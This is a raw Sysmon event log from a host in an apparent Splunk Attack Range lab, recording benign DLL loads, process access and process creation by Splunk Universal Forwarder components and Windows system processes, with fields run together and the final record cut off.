WindowsValid 734700x800000000000000058030Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:17.784{7BD73061-7595-613B-BF0B-00000000F001}3548C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Program Files\SplunkUniversalForwarder\bin\vcruntime140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationvcruntime140.dllMD5=0C583614EB8FFB4C8C2D9E9880220F1D,SHA256=6CADB4FEF773C23B511ACC8B715A084815C6E41DD8C694BC70090A97B3B03FB9,IMPHASH=2CB5DA5225E972A08F32D04B8085DC7EtrueMicrosoft CorporationValid 734700x800000000000000058029Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:17.784{7BD73061-7595-613B-BF0B-00000000F001}3548C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\combase.dll10.0.14393.4583 (rs1_release.210730-1850)Microsoft COM for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationCOMBASE.DLLMD5=878EBD02A580FDF8F187100127E6D3A8,SHA256=54E4BADDFBD97CFFF871B6D7316B28872218B92F37C41199F71EB37BC5634216,IMPHASH=0863DD72CA0C3702DB7ACD19A4D5DEB1trueMicrosoft WindowsValid 734700x800000000000000058028Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:17.784{7BD73061-7595-613B-BF0B-00000000F001}3548C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Program Files\SplunkUniversalForwarder\bin\archive.dll-----MD5=98978F08A7A0D24C92FE8DC5287A8258,SHA256=CBB940A38E834C0BE44884C667863F76D6700D564043F90B3EB813370C3174E7,IMPHASH=86B04733169A315F437478D1C9AA6193trueSplunk, Inc.Valid 734700x800000000000000058027Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:17.784{7BD73061-7595-613B-BF0B-00000000F001}3548C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\ole32.dll10.0.14393.4169 (rs1_release.210107-1130)Microsoft OLE for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationOLE32.DLLMD5=676B0A1FB2A01D19AECB1F19883B6FC4,SHA256=56DEB219840DBAF9DAF645AD5D79AF9AB05F20E688382854DD487F440B257552,IMPHASH=9724475F92787AFC45A3BA458C0DCDC5trueMicrosoft WindowsValid 734700x800000000000000058026Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:17.784{7BD73061-7595-613B-BF0B-00000000F001}3548C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libeay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/libeay32.dllMD5=6445BD4247E3956B244772F3C415585F,SHA256=2B08FC9E160AD0F698226DA3E30A12551E8EBCCA1E7287E3915EC62B58151A78,IMPHASH=838F909F0A52D977E0B8662364FA0BFEtrueSplunk, Inc.Valid 734700x800000000000000058025Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:17.784{7BD73061-7595-613B-BF0B-00000000F001}3548C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec-openssl.dll-----MD5=F30BB43EC30BE50400780223450492CD,SHA256=867D0453E285A5C29A4EFA039D2399662DCCAC98F88C46B0A41CEFB6B68DD836,IMPHASH=464BF3FDF330E6A15D24CC679EF7F72EtrueSplunk, Inc.Valid 734700x800000000000000058024Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:17.784{7BD73061-7595-613B-BF0B-00000000F001}3548C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\gdi32full.dll10.0.14393.4530 (rs1_release.210705-0736)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=9D82D7DBC3D9E0D8E86D10A5B1BF736E,SHA256=270CA1A42ECB4C22E826C1C95924F0014CC99254AB55B7167DA144D45E238E6D,IMPHASH=059EB3BAA45E35C79FAE66F7279059EEtrueMicrosoft WindowsValid 734700x800000000000000058023Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:17.784{7BD73061-7595-613B-BF0B-00000000F001}3548C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Program Files\SplunkUniversalForwarder\bin\ssleay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/ssleay32.dllMD5=B20FA07A7A61791EE537B5945429E141,SHA256=EF53BC2AB58BC548EFA249B0B8F2E1FBB9D4739EF27B0C67DFF1468D555329D3,IMPHASH=E09B42A7EA1725DA2CD99223AD969C63trueSplunk, Inc.Valid 734700x800000000000000058022Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:17.784{7BD73061-7595-613B-BF0B-00000000F001}3548C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec.dll-----MD5=D98BAB348C28C8CFCC11EDB575E2557A,SHA256=ADA3F1256B175ECC390F126D2730D7A1AAB5A53F1AF205A7667D8010416602F9,IMPHASH=3295DC2518E43BEF226F8847873D20C2trueSplunk, Inc.Valid 734700x800000000000000058021Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:17.784{7BD73061-7595-613B-BF0B-00000000F001}3548C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\ucrtbase.dll10.0.14393.3659 (rs1_release_1.200410-1813)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationucrtbase.dllMD5=9804D130E8E7178738C2B9808091B427,SHA256=6053B7CC85846F15094475116A8C57BA89FE99FDD1978C54E8A7E2114E318FE3,IMPHASH=57ABD1FDE351971A01E912069E11B44CtrueMicrosoft WindowsValid 734700x800000000000000058020Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:17.784{7BD73061-7595-613B-BF0B-00000000F001}3548C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\gdi32.dll10.0.14393.4169 (rs1_release.210107-1130)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=551D603CEC947F586DB9FADEF4D2EBA6,SHA256=143125EFF9F3BC5B3F3BE505F3C3814393807B9CACB6AA5F75D39C77EC0D4ED8,IMPHASH=A24D446CB7FCBB6D29B592603C0BE00CtrueMicrosoft WindowsValid 734700x800000000000000058019Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:17.784{7BD73061-7595-613B-BF0B-00000000F001}3548C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxslt.dll-----MD5=B8D3119CE62331C6A9B170DA0A608F28,SHA256=7D6C6B7C542B4E67AA468FEB12044E2EE34CE8F8A68C7665D7861F3363B6E66A,IMPHASH=06C8C57E25207671F4639FDBFA0212ECtrueSplunk, Inc.Valid 734700x800000000000000058018Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:17.784{7BD73061-7595-613B-BF0B-00000000F001}3548C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxml2.dll2.9.9libxml2 librarylibxml2-libxml2.dllMD5=0E7B7B3B25A2F094EB3A7BAF471154B8,SHA256=6CFAC8D8D5B7345F2C6CC82CBF8F9DD475881EA260346BE283E52B822F2CCAC1,IMPHASH=6DA659461618DB73B9BD17D114677D20trueSplunk, Inc.Valid 734700x800000000000000058017Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:17.784{7BD73061-7595-613B-BF0B-00000000F001}3548C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\activeds.dll10.0.14393.4169 (rs1_release.210107-1130)ADs Router Layer DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationADsMD5=C62947CD1080E3B128B517AE91B22D6D,SHA256=6BB5D8967F822B5B1646DC9069212914D36C4D3D65E086AC0890B6A02112B438,IMPHASH=C7DF3F2CF025F0BEDA797705E4F4AFBBtrueMicrosoft WindowsValid 734700x800000000000000058016Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:17.784{7BD73061-7595-613B-BF0B-00000000F001}3548C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\win32u.dll10.0.14393.0 (rs1_release.160715-1616)Win32uMicrosoft® Windows® Operating SystemMicrosoft CorporationWin32u.DLLMD5=6A40F9C63B52CB4E8271CF3418618033,SHA256=A2BE23DA7AADFA9118130C939CD59D86E590957172FF404511EE6C5EC5147F15,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000058015Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:17.784{7BD73061-7595-613B-BF0B-00000000F001}3548C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\nsi.dll10.0.14393.3297 (rs1_release_1.191001-1045)NSI User-mode interface DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationnsi.dllMD5=994E2A6D2A0B38E0968B3998E42033AC,SHA256=491F2D1DE09C39B324BCF5800198AC7CCE755F4023F1FEB3854D33716461BC27,IMPHASH=B01B7830101BC0D5FBDE4FFE2B170CF7trueMicrosoft WindowsValid 734700x800000000000000058014Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:17.784{7BD73061-7595-613B-BF0B-00000000F001}3548C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\user32.dll10.0.14393.4169 (rs1_release.210107-1130)Multi-User Windows USER API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationuser32MD5=883B59C5557E8A9B3C1E1ED1CA48CD5A,SHA256=271800C20A96587265BF83DE2EFC11329EEB2B6C0D57E5E0BCD137FB96BFE6E3,IMPHASH=070F257E4632BC576557C4085595EAA4trueMicrosoft WindowsValid 734700x800000000000000058013Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:17.784{7BD73061-7595-613B-BF0B-00000000F001}3548C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\IPHLPAPI.DLL10.0.14393.2339 (rs1_release_inmarket.180611-1502)IP Helper APIMicrosoft® Windows® Operating SystemMicrosoft Corporationiphlpapi.dllMD5=3CD38EDF9CA12F91131EDEE32D1C9DF5,SHA256=AF2440640BF8BDEAAF0DECDD7C354158E415ED0AA340ABA7A6CCCDC09C1E728B,IMPHASH=98738BA55485CCA932F6D222F47FFC55trueMicrosoft WindowsValid 734700x800000000000000058012Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:17.784{7BD73061-7595-613B-BF0B-00000000F001}3548C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\secur32.dll10.0.14393.2273 (rs1_release_1.180427-1811)Security Support Provider InterfaceMicrosoft® Windows® Operating SystemMicrosoft Corporationsecur32.dllMD5=BCF1B2F76F8A3A3E9E8F4D4322954651,SHA256=46B327CD50E728CBC22BD80F39DCEF2789AB780C77B6D285EEB90126B06EEEB5,IMPHASH=0D8FF9DE2DA5C07D680347B1A098E759trueMicrosoft WindowsValid 734700x800000000000000058011Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:17.784{7BD73061-7595-613B-BF0B-00000000F001}3548C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\dnsapi.dll10.0.14393.4350 (rs1_release.210407-2154)DNS Client API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationdnsapiMD5=D7651F99299B13D576A72643BFC44944,SHA256=589302E630C473DBDF4CE92C59F00B029FCA0C228E7111A764166E16025FA1A9,IMPHASH=3C043C6FF0F62DAEB8819606F79C5ECCtrueMicrosoft WindowsValid 734700x800000000000000058010Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:17.784{7BD73061-7595-613B-BF0B-00000000F001}3548C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\msvcrt.dll7.0.14393.2457 (rs1_release_inmarket.180822-1743)Windows NT CRT DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcrt.dllMD5=0AF8989DD67A135B536CF948E3EFB7EB,SHA256=C693DA0EF4DCF3BC244661B9FD280FE12C3053FDD7B977712C0CF210831B2EF4,IMPHASH=07D6F84E3C8FD0D2C32F9398A0369BAFtrueMicrosoft WindowsValid 734700x800000000000000058009Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:17.784{7BD73061-7595-613B-BF0B-00000000F001}3548C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\advapi32.dll10.0.14393.4467 (rs1_release.210604-1844)Advanced Windows 32 Base APIMicrosoft® Windows® Operating SystemMicrosoft Corporationadvapi32.dllMD5=A8CDCAC5C32D14ED8AADDF5489FC5D55,SHA256=140F07A8F6780DAFE20CC4FBE86C9332FB2F0C26ED8F49914BD05265C63EF6F1,IMPHASH=B511E4B82A44D3731CDA46A74F5D57EAtrueMicrosoft WindowsValid 734700x800000000000000058008Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:17.784{7BD73061-7595-613B-BF0B-00000000F001}3548C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\rpcrt4.dll10.0.14393.4467 (rs1_release.210604-1844)Remote Procedure Call RuntimeMicrosoft® Windows® Operating SystemMicrosoft Corporationrpcrt4.dllMD5=B0C4BF9491FB453B77399E3C56C11DC8,SHA256=66D5D1B3D25D15EA8737C8B2EF83E770BA10931868F24DCACC50936F0A0BAC08,IMPHASH=EB45E6A4165ECBE63E7CA7D14DE0BD8EtrueMicrosoft WindowsValid 734700x800000000000000058007Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:17.784{7BD73061-7595-613B-BF0B-00000000F001}3548C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\sechost.dll10.0.14393.3808 (rs1_release.200707-2105)Host for SCM/SDDL/LSA Lookup APIsMicrosoft® Windows® Operating SystemMicrosoft Corporationsechost.dllMD5=E6B98644CD3B912C44C39CC0996790A9,SHA256=23BE56E1B8DBA449C0959753175BD15457EC88E93E9E8B86489266347959A6F2,IMPHASH=D6E06125849E8565A50F366A0149FB40trueMicrosoft WindowsValid 734700x800000000000000058006Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:17.784{7BD73061-7595-613B-BF0B-00000000F001}3548C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\ws2_32.dll10.0.14393.3241 (rs1_release_inmarket.190910-1801)Windows Socket 2.0 32-Bit DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationws2_32.dllMD5=06E82905620845A7C185BDEE85CC4140,SHA256=B75C9B080293F85568912BABE749F403144959206F9C6BAB36B628E8F77C5DA0,IMPHASH=76A5AA3DF6083D853F576403C8F841A8trueMicrosoft WindowsValid 23542300x800000000000000058005Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:17.784{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=7F4D212933C68E708B92C053FE2B7A56,SHA256=FE8BE582FA0DA63A5FDB04114FEDB41169239D9E0EC55D282AB61F33D429330F,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 10341000x800000000000000058004Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:17.784{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-7595-613B-BF0B-00000000F001}3548C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000058003Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:17.784{7BD73061-7595-613B-BF0B-00000000F001}3548C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\KernelBase.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationKernelbase.dllMD5=0F627827D9CFFA8E0BCF30F013FB7209,SHA256=EA47C3E471801ACA92EE449C66CF785EA670ADE92A5A2D5CDB81C93DD72ABEF0,IMPHASH=05349EBAA635D77714868763D44881E9trueMicrosoft WindowsValid 734700x800000000000000058002Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:17.784{7BD73061-7595-613B-BF0B-00000000F001}3548C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\kernel32.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel32MD5=A5AD62615D2361BFAEC6C047B199184C,SHA256=B43F3DFDAF7BAA7A2B97015631F96CE429C50348D380080CFC29C36F959D7886,IMPHASH=3CE0779E0F4E275CD51A359A98CCC682trueMicrosoft WindowsValid 734700x800000000000000058001Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:17.784{7BD73061-7595-613B-BF0B-00000000F001}3548C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\ntdll.dll10.0.14393.4530 (rs1_release.210705-0736)NT Layer DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationntdll.dllMD5=36B87C41EE39F3051D116F735EBEF866,SHA256=9C45BAE6D7E27B3AE04BBF88B96686C04ED6A43695558E82B687013BA0383F8A,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000058000Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:17.784{7BD73061-7595-613B-BF0B-00000000F001}3548C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe8.0.2Network monitorSplunk ApplicationSplunk Inc.splunk-netmon.exeMD5=8746B8C1724B67C2B1261446C0CFAA57,SHA256=7EFD09FD383FAA75C5D2990E6DBBFD846AEAA08B7037C7D66B4A0EF2AE0866B3,IMPHASH=7B985F47B35272AD7B5218255ACE7AECtrueSplunk, Inc.Valid 10341000x800000000000000057999Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:17.784{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000057998Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:17.784{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000057997Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:17.784{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000057996Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:17.784{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000057995Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:17.784{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-7595-613B-BF0B-00000000F001}3548C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000057994Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:17.784{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-7595-613B-BF0B-00000000F001}3548C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000057993Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:17.785{7BD73061-7595-613B-BF0B-00000000F001}3548C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe8.0.2Network monitorSplunk ApplicationSplunk Inc.splunk-netmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=8746B8C1724B67C2B1261446C0CFAA57,SHA256=7EFD09FD383FAA75C5D2990E6DBBFD846AEAA08B7037C7D66B4A0EF2AE0866B3,IMPHASH=7B985F47B35272AD7B5218255ACE7AEC{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 10341000x800000000000000057992Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:17.565{7BD73061-7595-613B-BE0B-00000000F001}3780992C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+6025c5|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+6020f6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+59e67|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+5b88c|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+8e7d70|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000057991Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:17.565{7BD73061-7595-613B-BE0B-00000000F001}3780C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\dbgcore.dll10.0.14321.1024 (debuggers(dbg).210127-1811)Windows Core Debugging HelpersMicrosoft® Windows® Operating SystemMicrosoftDBGCORE.DLLMD5=72E8FEC8419AB470FB737883463688FE,SHA256=1DA7D2D2D1C4E6EC17101A4997C4AA610818730D63C72C1D2084ABA3F25C5146,IMPHASH=F67CBD9561C1FEF51B817BA184E81D2EtrueMicrosoft WindowsValid 734700x800000000000000057990Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:17.565{7BD73061-7595-613B-BE0B-00000000F001}3780C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\dbghelp.dll10.0.14321.1024 (rs1_release.160715-1616)Windows Image HelperMicrosoft® Windows® Operating SystemMicrosoftDBGHELP.DLLMD5=2C92DF5D32661FB4B81B08B72B2102A7,SHA256=BCEF4DEBDE7D8D6916EE3D3E5E63A725E03A058AABCD7DD49DF9D48B16E96D1A,IMPHASH=E7FD2920222985E31019D022BB39EFBEtrueMicrosoft WindowsValid 734700x800000000000000057989Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:17.331{7BD73061-7595-613B-BE0B-00000000F001}3780C:\Program 